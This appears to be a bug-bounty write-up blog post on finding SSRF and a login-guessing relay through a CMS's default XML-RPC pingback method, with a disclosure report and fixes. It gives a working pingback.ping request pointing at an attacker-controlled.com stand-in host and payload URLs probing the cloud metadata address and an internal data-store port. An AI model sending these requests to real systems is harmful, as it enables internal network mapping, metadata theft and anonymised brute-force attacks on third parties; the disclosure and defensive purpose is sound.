Post cover image
Photo by Cosmic Timetraveler on Unsplash

October 27, 2026

The Feature From 2003 Nobody Disabled: SSRF and Distributed Brute-Force via XML-RPC Pingback

Some vulnerabilities exist because a feature was built for a web that no longer exists, left switched on by default for backward…

By T4nv1

4 min read

Some vulnerabilities exist because a feature was built for a web that no longer exists, left switched on by default for backward compatibility, and quietly forgotten by everyone except the attackers who still check for it. The XML-RPC pingback mechanism is exactly that kind of feature — built for an era when blogs linking to each other wanted automatic notification, and still enabled, by default, on an enormous number of content-management-system installations today.

The target, which I'll call Harrowgate Media here per their program's terms, runs a content platform built on a widely used open-source CMS core, with its XML-RPC endpoint left fully enabled at its default path.

What Pingback Was Built to Do, and Why That's Dangerous Now

The pingback protocol lets one site notify another, automatically, when it links to it: Site A publishes a post linking to Site B, Site A's software sends an XML-RPC request to Site B announcing the link, and Site B's software — trusting that announcement — fetches Site A's post to verify the link actually exists before recording the pingback. That verification step is the entire vulnerability: it means Site B's own server will make an outbound HTTP request to essentially any URL an attacker supplies, because the protocol has no concept of validating whether the "source" URL being verified is legitimate before fetching it.

POST /xmlrpc.php HTTP/1.1
Content-Type: text/xml
<?xml version="1.0"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://attacker-controlled.com/fake-post</string></value></param>
    <param><value><string>https://harrowgate-media.com/some-real-post</string></value></param>
  </params>
</methodCall>

Sending this caused Harrowgate's server to immediately issue an outbound request to my own infrastructure, confirming the pingback mechanism was live and would fetch any URL I specified as the purported "source" of the link.

From Confirmed SSRF to Internal Port Scanning

A server willing to fetch an arbitrary URL on an attacker's behalf is a server-side request forgery primitive, and the first thing worth establishing is how far that primitive reaches — specifically, whether it can reach internal, non-public infrastructure the attacker would otherwise have no access to at all.

I pointed the pingback target at a range of internal IP addresses and ports, using differences in response timing and error behavior to distinguish an open port from a closed one, since the pingback response itself reflects back certain fetch-related error states:

<param><value><string>http://169.254.169.254/latest/meta-data/</string></value></param>
<param><value><string>http://10.0.0.5:6379/</string></value></param>

The first confirmed reachability to the cloud metadata service, consistent with the server running on common cloud infrastructure. The second, targeting an internal address on a port commonly used by an in-memory data store, produced a distinctly different response pattern than closed ports elsewhere in the same internal range — enough to infer, without ever seeing the actual response body, that something was listening there, invisible and unreachable from the public internet under any normal circumstance, but fully reachable through this one, forgotten feature.

The Amplification Angle: Distributed Password Guessing

Beyond SSRF alone, the pingback mechanism has a second, less commonly discussed property worth testing specifically: because the request it issues comes from Harrowgate's own server infrastructure rather than my own IP address, it can be used to route requests at a third target through Harrowgate as an unwitting intermediary — including, notably, requests aimed at Harrowgate's own login endpoint, effectively letting an attacker brute-force login attempts that appear, from any rate-limiting or logging perspective on the receiving end, to originate from Harrowgate's own trusted infrastructure rather than from the attacker directly.

I tested this narrowly and safely, pointing the pingback mechanism at my own test login endpoint rather than any real authentication system, confirming that repeated pingback requests could indeed be used to generate a stream of requests from Harrowgate's IP range, each one a legitimate, separately-originated HTTP request rather than anything resembling a single traceable source — a property that would make rate-limiting and abuse detection meaningfully harder for any system receiving these requests, including Harrowgate's own other services if pointed inward.

Scope

I limited internal-network probing to inferring open-versus-closed port state through response timing and error differences, without attempting to actually read data from any internal service I located this way, and tested the third-party request-routing behavior exclusively against infrastructure I controlled myself.

The Report

Title: XML-RPC pingback mechanism enabled by default allows server-side request forgery against internal infrastructure and third-party request relay

Root cause: The pingback.ping XML-RPC method fetches an attacker-supplied URL to verify a claimed backlink, with no restriction on the target's address range, allowing requests to reach internal-only infrastructure including cloud metadata services, and allowing the server to function as a relay for requests directed at arbitrary third parties.

Reproduction: Confirmed outbound SSRF via a self-controlled callback endpoint, internal port-state inference against cloud metadata and internal service ports, and a safe demonstration of third-party request relay using self-controlled test infrastructure throughout.

Impact: An attacker can map and probe internal network infrastructure invisible from the public internet, and can use the platform's own server as an anonymizing relay for requests directed at any third party, including Harrowgate's own other internal services.

Fix recommendations:

  • Disable the XML-RPC pingback method entirely unless genuinely required, which is the simplest and most complete fix for a feature with minimal legitimate use in a modern content platform
  • If pingback functionality must remain enabled, restrict the fetch mechanism to an explicit allowlist of permitted destination ranges, blocking internal, loopback, and link-local address spaces outright
  • Audit other XML-RPC methods exposed at the same endpoint for similar unrestricted outbound request behavior, since pingback is rarely the only method capable of triggering a server-side fetch

What Happened After

The platform disabled the pingback method entirely at the CMS configuration level, the fastest and most complete available fix, while leaving other XML-RPC functionality the platform actually depended on intact.

Why This Old Feature Still Deserves a Test in 2026

XML-RPC pingback is a textbook example of a vulnerability that persists not because it's hard to understand, but because it's easy to forget — a default-enabled feature from an earlier web era, sitting at a predictable, well-known path, worth checking on any target built on a CMS platform old enough to carry this legacy functionality forward. A single request to a known endpoint path is often all it takes to find out whether a given target still has it switched on.